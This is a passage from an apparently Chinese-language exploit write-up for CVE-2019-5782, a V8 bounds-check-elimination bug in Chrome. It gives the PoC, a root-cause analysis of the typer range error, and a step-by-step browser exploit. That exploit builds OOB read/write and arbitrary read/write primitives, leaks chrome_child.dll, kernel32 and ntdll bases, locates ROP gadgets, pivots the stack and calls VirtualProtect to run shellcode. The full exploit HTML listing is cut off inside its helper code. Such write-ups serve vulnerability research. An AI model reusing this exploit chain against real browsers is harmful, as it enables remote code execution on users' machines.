CVE-2019-5782:Inappropriate implementation in V8 漏洞利用

参考链接

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 10000; i++) fun(...a4);
// %OptimizeFunctionOnNextCall(fun);
fun(...a3);
for (i = 0; i < a2.length; i++){
console.log(a2[i]);
}
console.log(a2.length);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
a1:
DebugPrint: 0x358226e9b891: [JSArray]
- length: 16
- elements: 0x358226e9b801 <FixedDoubleArray[16]> {
0: 1.1
1-15: <the_hole>
}
a2:
DebugPrint: 0x358226e9b941: [JSArray]
- length: 42
- elements: 0x358226e9b8b1 <FixedDoubleArray[65535]> {
0: 1.1
1-15: <the_hole>
16: 2.90681e-310
17: 2.90688e-310
18: 2.90674e-310
19: 8.91238e-313
20-51430: -1.18859e+148

a1 elements:
lldb) x/50gx 0x358226e9b801-1
0x358226e9b800: 0x00003582ced81461 0x0000001000000000
0x358226e9b810: 0x3ff199999999999a->a1[0] 0xfff7fffffff7ffff
0x358226e9b820: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b830: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b840: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b850: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b860: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b870: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b880: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
a1 object:
0x358226e9b890: 0x0000358279782f29 0x00003582ced80c29
0x358226e9b8a0: 0x0000358226e9b801 0x0000001000000000
a2 elements:
0x358226e9b8b0: 0x00003582ced81461 0x0000ffff00000000->a1[21]
0x358226e9b8c0: 0x3ff199999999999a 0xfff7fffffff7ffff
0x358226e9b8d0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b8e0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b8f0: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b900: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b910: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b920: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x358226e9b930: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
a2 object:
0x358226e9b940: 0x0000358279782f29 0x00003582ced80c29
0x358226e9b950: 0x0000358226e9b8b1 0x0000002a00000000->a1[41]
0x358226e9b960: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x358226e9b970: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x358226e9b980: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef

function fun(arg) {
let x = arguments.length;// x = 65536,但范围分析认为是65534
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
x = x >> 16;// x = 65536>>16 = 1,但范围分析认为是65534>>16 = 0
a1[x * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[x * 41] = 8.91238232205e-313; // 0x2a00000000
}

漏洞验证,边界检查被移除后的越界读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1.1
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
3.5906059781413e-311
3.592134784647e-311
3.5918890420468e-311
8.91238232205e-313
3.5921347865955e-311
8.487983164e-314
4.243991582e-314
0
3.5906059883793e-311
3.592134783722e-311
3.592134783722e-311
3.5921347865955e-311
1.4853970537e-313
1.0609978955e-313
0
3.590605972767e-311
3.5906059725297e-311
3.5906059886165e-311
3.590605982569e-311
3.592134783722e-311
3.592134783722e-311
3.592134783793e-311
1.1
3.592134783793e-311
3.5906059781413e-311
3.592134783793e-311
42

Root Cause

在typer phase里对SpeculativeNumberShiftRight的range进行计算

1
2
3
#72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #55:JSCreateArray)
102: LoadField[tagged base, 24, #length, NonInternal, kRepTagged|kTypeAny, FullWriteBarrier](9, 101, 18)
27: NumberConstant[16]


由于在typer phase还不会对Load处理,于是在第一次对NumberShiftRight进行range analysis的时候,会将其范围直接当做int32的最大和最小值。

1
2
#   define INT32_MIN       ((int32_t)(-2147483647-1))
# define INT32_MAX ((int32_t)(2147483647))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));

lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);

if (lhs.IsNone() || rhs.IsNone()) return Type::None();

int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
printf("min lhs is %d\n", min_lhs);
printf("min rhs is %d\n", min_rhs);
printf("max lhs is %d\n", max_lhs);
printf("max rhs is %d\n", max_rhs);
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}

于是在第一次对NumberShiftRight进行range analysis之后得到

1
2
3
4
5
6
min lhs is -2147483648
min rhs is 16
max lhs is 2147483647
max rhs is 16
...
[Type: Range(-32768, 32767)]

然后在typer lowering phase里将JSCreateArray reduce成ArgumentsLength,并计算其范围。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) {
DCHECK_EQ(IrOpcode::kJSCreateArguments, node->opcode());
CreateArgumentsType type = CreateArgumentsTypeOf(node->op());
Node* const frame_state = NodeProperties::GetFrameStateInput(node);
Node* const outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
Node* const control = graph()->start();
FrameStateInfo state_info = FrameStateInfoOf(frame_state->op());
SharedFunctionInfoRef shared(broker(),
state_info.shared_info().ToHandleChecked());

// Use the ArgumentsAccessStub for materializing both mapped and unmapped
// arguments object, but only for non-inlined (i.e. outermost) frames.
if (outer_state->opcode() != IrOpcode::kFrameState) {
switch (type) {
case CreateArgumentsType::kMappedArguments: {
// TODO(mstarzinger): Duplicate parameters are not handled yet.
if (shared.has_duplicate_parameters()) return NoChange();
Node* const callee = NodeProperties::GetValueInput(node, 0);
Node* const context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
Node* const arguments_frame =
graph()->NewNode(simplified()->ArgumentsFrame());
Node* const arguments_length = graph()->NewNode(
simplified()->ArgumentsLength(
shared.internal_formal_parameter_count(), false),
arguments_frame);
// Allocate the elements backing store.
bool has_aliased_arguments = false;
Node* const elements = effect = AllocateAliasedArguments(
effect, control, context, arguments_frame, arguments_length, shared,
&has_aliased_arguments);
// Load the arguments object map.
Node* const arguments_map = jsgraph()->Constant(
has_aliased_arguments
? native_context().fast_aliased_arguments_map()
: native_context().sloppy_arguments_map());
// Actually allocate and initialize the arguments object.
AllocationBuilder a(jsgraph(), effect, control);
Node* properties = jsgraph()->EmptyFixedArrayConstant();
STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);
a.Allocate(JSSloppyArgumentsObject::kSize);
a.Store(AccessBuilder::ForMap(), arguments_map);
a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);
a.Store(AccessBuilder::ForJSObjectElements(), elements);
a.Store(AccessBuilder::ForArgumentsLength(), arguments_length);
a.Store(AccessBuilder::ForArgumentsCallee(), callee);
RelaxControls(node);
a.FinishAndChange(node);
return Changed(node);
}
...
...
void Typer::Decorator::Decorate(Node* node) {
if (node->op()->ValueOutputCount() > 0) {
// Only eagerly type-decorate nodes with known input types.
// Other cases will generally require a proper fixpoint iteration with Run.
bool is_typed = NodeProperties::IsTyped(node);
if (is_typed || NodeProperties::AllValueInputsAreTyped(node)) {
Visitor typing(typer_, nullptr);
Type type = typing.TypeNode(node);
if (is_typed) {
type = Type::Intersect(type, NodeProperties::GetType(node),
typer_->zone());
}
NodeProperties::SetType(node, type);
}
}
}
...
...
Type Typer::Visitor::TypeArgumentsLength(Node* node) {
return TypeCache::Get().kArgumentsLengthType;
}
...
...
Type const kArgumentsLengthType =
Type::Range(0.0, Code::kMaxArguments, zone());
...
...
static const int kArgumentsBits = 16;
// Reserve one argument count value as the "don't adapt arguments" sentinel.
static const int kMaxArguments = (1 << kArgumentsBits) - 2;
...
...
#171:ArgumentsLength[1, not rest length](#170:ArgumentsFrame) [Type: Range(0, 65534)]

然后在load elimination phase里将多余的LoadField remove,直接替换成真正的值,ArgumentsLength

1
2
3
#72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #18:JSStackCheck)  [Type: Range(-32768, 32767)]
->
#72:SpeculativeNumberShiftRight[SignedSmall](#171:ArgumentsLength, #27:NumberConstant, #70:Checkpoint, #18:JSStackCheck) [Type: Range(-32768, 32767)]

于是在simplified lowering phase里,为了修正这个SpeculativeNumberShiftRight的范围,于是再次对其进行typer计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Forward propagation of types from type feedback.
void RunTypePropagationPhase() {
...
bool updated = UpdateFeedbackType(node);
->
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);

if (lhs.IsNone() || rhs.IsNone()) return Type::None();

int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}
...
...
Range(0, 65534)
Range(16, 16)
min lhs is 0
min rhs is 16
max lhs is 65534
max rhs is 16
->
NumberShiftRight Range(0,0)

由于这个结果被作为数组的index,所以最终在VisitCheckBounds里,会比较这个范围和数组最大的长度,如果始终index小于数组的length,那么就会将其remove掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));

exploit

得到任意地址读写和用户态对象leak的原语

通过a1的单次越界写改掉oob_double_Array的长度,将其改的很大,然后在后面放一个object Array。

1
2
3
4
5
6
7
8
9
10
11
a1 = new Array(0x10);
a1[0] = 1.1;
oob_double_Array = new Array(0x10);
oob_double_Array[0] = 1.1;
object_Array = new Array(0x10);
object_Array[0] = {};
object_Array[1] = leak;
x = x >> 16
a1[x * 19] = 2.60750842793813e-310; // 0x0000300000000000
a1[x * 21] = 2.60750842793813e-310; // 0x0000300000000000
a1[x * 41] = 2.60750842793813e-310; // 0x0000300000000000

通过将要leak的对象放入object Array,然后通过oob_double_Array将该对象越界读出,得到的就是该对象的指针的double表示。

1
2
3
4
function user_space_read(leak){
object_Array[1] = leak;
return oob_double_Array[23];
}

然后我们再new一个ArrayBuffer,通过oob_double_Array的越界写,可以改它的backing_store,于是就可以任意地址读写。

1
2
3
4
5
6
7
8
9
10
11
12
oob_buffer = new ArrayBuffer(0x1000);
...
function writePtr(offset, address, value){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
fake_dv[0] = value;
}
function readPtr(offset, address){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
return fake_dv[0];
}

这里有一个小trick就是,我们的oob_double_Array和ArrayBuffer的偏移是不固定的。
但是通过user_space_read,我们可以先leak出oob_double_Array和oob_buffer的地址,由于oob_double_Array的fixedArray与其偏移是固定的,而oob_buffer的backing_store和oob_buffer的偏移是固定的.
所以我们可以计算出这个偏移是多少。

得到chrome_child.dll的基地址

leak出一个blink对象div的地址,它偏移0x20的位置是HTMLDivElement对象,读出后,再读出它首部的虚表地址,然后减去和chrome_child.dll的偏移就是chrome_child.dll的基地址了。

1
2
3
4
5
6
let div = document.createElement('div');
let div_addr = user_space_read(div);
alert("[+] the div_addr is at " + Int64.fromDouble(div_addr).toString());

el_addr = readPtr(offset, div_addr + new Int64(0x1f).asDouble());
alert("[+] the el_addr is at " + Int64.fromDouble(el_addr).toString());

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
0:017> dq 0x00004c0eb3ea31f8
00004c0e`b3ea31f8 00007ffb`49c9e910 000001e7`ec4da5c0
00004c0e`b3ea3208 00000000`000e101c 00000000`00000000
00004c0e`b3ea3218 00004c0e`b3ea2538 00000000`00000000
00004c0e`b3ea3228 00000000`00000000 00007ffb`4a46d1f0
00004c0e`b3ea3238 00000000`00000000 00000000`00000000
00004c0e`b3ea3248 00005a68`da2417e8 00000000`00000000
00004c0e`b3ea3258 00000000`00000000 00000000`00000000
00004c0e`b3ea3268 00000000`00000000 00000000`00000000
0:017> g
(3d7c.3af4): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffb`9da98cc0 cc int 3
0:017> uf 00007ffb`49c9e910
chrome_child!blink::HTMLDivElement::`vftable':
00007ffb`49c9e910 dcb14b47fb7f fdiv qword ptr [rcx+7FFB474Bh]
00007ffb`49c9e916 0000 add byte ptr [rax],al
00007ffb`49c9e918 3030 xor byte ptr [rax],dh
00007ffb`49c9e91a c247fb ret 0FB47h
0:017> !address chrome_child


Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage: Image
Base Address: 00007ffb`45960000
End Address: 00007ffb`45961000
Region Size: 00000000`00001000 ( 4.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Type: 01000000 MEM_IMAGE
Allocation Base: 00007ffb`45960000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: C:\Program Files (x86)\Google\Chrome\Application\70.0.3538.110\chrome_child.dll
Module Name: chrome_child
Loaded Image Name: C:\Program Files (x86)\Google\Chrome\Application\70.0.3538.110\chrome_child.dll
Mapped Image Name:
More info: lmv m chrome_child
More info: !lmi chrome_child
More info: ln 0x7ffb45960000
More info: !dh 0x7ffb45960000


Content source: 1 (target), length: 1000
0:017> ? 00007ffb`49c9e910-00007ffb`45960000
Evaluate expression: 70510864 = 00000000`0433e910

计算kernel32的基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:016> x chrome_child!*CreateEventW*
00007ffb`465faea2 chrome_child!media::MediaLog::CreateEventW (media::MediaLogEvent::Type)
00007ffb`4a33b4f8 chrome_child!_imp_CreateEventW = <no type information>

0:016> dq 00007ffb`4a33b4f8
00007ffb`4a33b4f8 00007ffb`9c001f20
0:016> u 00007ffb`9c001f20
KERNEL32!CreateEventW:
00007ffb`9c001f20 ff2522480500 jmp qword ptr [KERNEL32!_imp_CreateEventW (00007ffb`9c056748)]
00007ffb`9c001f26 cc int 3
00007ffb`9c001f27 cc int 3
00007ffb`9c001f28 cc int 3
00007ffb`9c001f29 cc int 3
00007ffb`9c001f2a cc int 3
00007ffb`9c001f2b cc int 3
00007ffb`9c001f2c cc int 3

计算ntdll的基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:016> x KERNEL32!*NtQueryEvent*
00007ffb`9c056dd8 KERNEL32!_imp_NtQueryEvent = <no type information>
0:016> dq 00007ffb`9c056dd8
00007ffb`9c056dd8 00007ffb`9da95db0

0:016> u 00007ffb`9da95db0
ntdll!NtQueryEvent:
00007ffb`9da95db0 4c8bd1 mov r10,rcx
00007ffb`9da95db3 b856000000 mov eax,56h
00007ffb`9da95db8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffb`9da95dc0 7503 jne ntdll!NtQueryEvent+0x15 (00007ffb`9da95dc5)
00007ffb`9da95dc2 0f05 syscall
00007ffb`9da95dc4 c3 ret
00007ffb`9da95dc5 cd2e int 2Eh

寻找gadaget

栈劫持

1
2
3
4
00007ff9`296f0705 488b5150        mov     rdx,qword ptr [rcx+50h]
00007ff9`296f0709 488b6918 mov rbp,qword ptr [rcx+18h]
00007ff9`296f070d 488b6110 mov rsp,qword ptr [rcx+10h]
00007ff9`296f0711 ffe2 jmp rdx

search->sequence of bytes

mprotect

1
2
3
4
// pop rcx ; ret     59 c3
// pop rdx ; ret 5a c3
// pop r8 ; ret 41 58 c3
// pop r9 ; ret 41 59 c3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
0:016> u 00007ffb`45d6982c
chrome_child!blink::AutoscrollController::HandleMouseMoveForMiddleClickAutoscroll+0x16c [C:\b\c\b\win64_clang\src\third_party\blink\renderer\core\page\autoscroll_controller.cc @ 237]:
00007ffb`45d6982c 59 pop rcx
00007ffb`45d6982d c3 ret

0:016> s -w 00007ffb`45960000 L1000000 C359
00007ffb`45d6982c c359 0ff3 4411 2024 0ff3 7c11 2424 2e0f Y....D$ ...|$$..

0:016> u 00007ffb`45a8d91a
chrome_child!cc::SingleKeyframeEffectAnimation::SingleKeyframeEffectAnimation+0x3a [C:\b\c\b\win64_clang\src\cc\animation\single_keyframe_effect_animation.cc @ 44]:
00007ffb`45a8d91a 5a pop rdx
00007ffb`45a8d91b c3 ret

0:016> s -w 00007ffb`45960000 L1000000 C35a
00007ffb`45a8d91a c35a 4803 c389 8b48 7856 2b48 7056 c148 Z..H..H.VxH+VpH.

0:016> u 00007ffb`46b16012
chrome_child!v8::internal::compiler::RawMachineAssembler::TargetParameter+0x2 [C:\b\c\b\win64_clang\src\v8\src\compiler\raw-machine-assembler.cc @ 82]:
00007ffb`46b16012 4158 pop r8
00007ffb`46b16014 c3 ret

0:016> s -w 00007ffb`45960000 L1000000 5841
...
...
00007ffb`46b16012 5841 ccc3 cccc cccc cccc cccc cccc 4856 AX............VH

0:016> u 00007ffb`472db44c
chrome_child!DeblockLumaTransposeH2V_sse2+0x1ec:
00007ffb`472db44c 4159 pop r9
00007ffb`472db44e c3 ret
00007ffb`472db44f 90 nop

0:016> s -w 00007ffb`45960000 L1000000 5941
...
...
00007ffb`472db44c 5941 90c3 5141 4850 ec83 f320 7f0f 2434 AY..AQPH.. ...4$

创建一块大的可读写空间,fake vtable和栈伪造,栈劫持和mprotect执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
let scratch = new ArrayBuffer(0x100000);
let scratch_u8 = new Uint8Array(scratch);
let scratch_u64 = new BigUint64Array(scratch);
...
...
let scratch_addr = readPtr(offset, scratch_buffer_addr + new Int64(0x1f).asDouble());
scratch_u64.fill(gadget, 0, 100);//把其首部当做fake_vtab,在virtual call执行的时候会执行这里面的语句,于是跳转到gadget执行,这个gadget用于栈劫持,此时rcx的值应为el_addr的地址。
let fake_vtab = scratch_addr;
...
writePtr(offset, el_addr + new Int64(0x10).asDouble(), fake_stack); // RSP
writePtr(offset, el_addr + new Int64(0x50).asDouble(), pop_rcx_ret + new Int64(0x1).asDouble()); // RIP = ret
writePtr(offset, el_addr + new Int64(0x58).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x60).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x68).asDouble(), 0);
writePtr(offset, el_addr, fake_vtab);
...
...
00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h]
00007ff9`296f0709 488b6918 mov rbp,qword ptr [rcx+18h]
00007ff9`296f070d 488b6110 mov rsp,qword ptr [rcx+10h] //改变rsp的值为fake_stack
00007ff9`296f0711 ffe2 jmp rdx //改变rip到一个ret指令

栈劫持之后,开始执行我们的mprotect gadaget,使shellcode所在的页可执行,然后跳转到shellcode执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let fake_stack = scratch_addr + new Int64(0x10000).asDouble();

let stack = [
pop_rcx_ret,
sc_addr,
pop_rdx_ret,
new Int64(0x1000).asDouble(),
pop_r8_ret,
new Int64(0x40).asDouble(),
pop_r9_ret,
scratch_addr,
virtaulprotect_addr, // VirtualProtect
sc_addr,
];
for (let i = 0; i < stack.length; ++i) {
scratch_u64[0x10000/8 + i] = stack[i];
}

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
<html>
<script>
String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++){
//console.log(bytes[i].toString(16));
res.push(('0' + bytes[i].toString(16)).substr(-2));
}
return res.join('');

}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");

var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

return bytes;
}

function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);

var lines = [];
var chunk = data.slice(i, i+16);
for (var i = 0; i < data.length; i += 16) {
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}

return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);

return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},

unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");

var view = type; // See below
byteView.set(bytes);
return view[0];
},

// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();

function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);

switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;

var bigEndian = unhexlify(v, 8);
//console.log(bigEndian.toString());
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}

// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");

return Struct.unpack(Struct.float64, bytes);
};

// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");

// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);

return res;
};

// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};

// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};

// Return the value of this number as unsigned hex string.
this.toString = function() {
//console.log("toString");
return '0x' + hexlify(Array.from(bytes).reverse());
};

// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.

// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}

// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);

return this.assignAdd(this, Int64.One);
}, 1);

// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);

// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);

// this = a & b
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}

function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
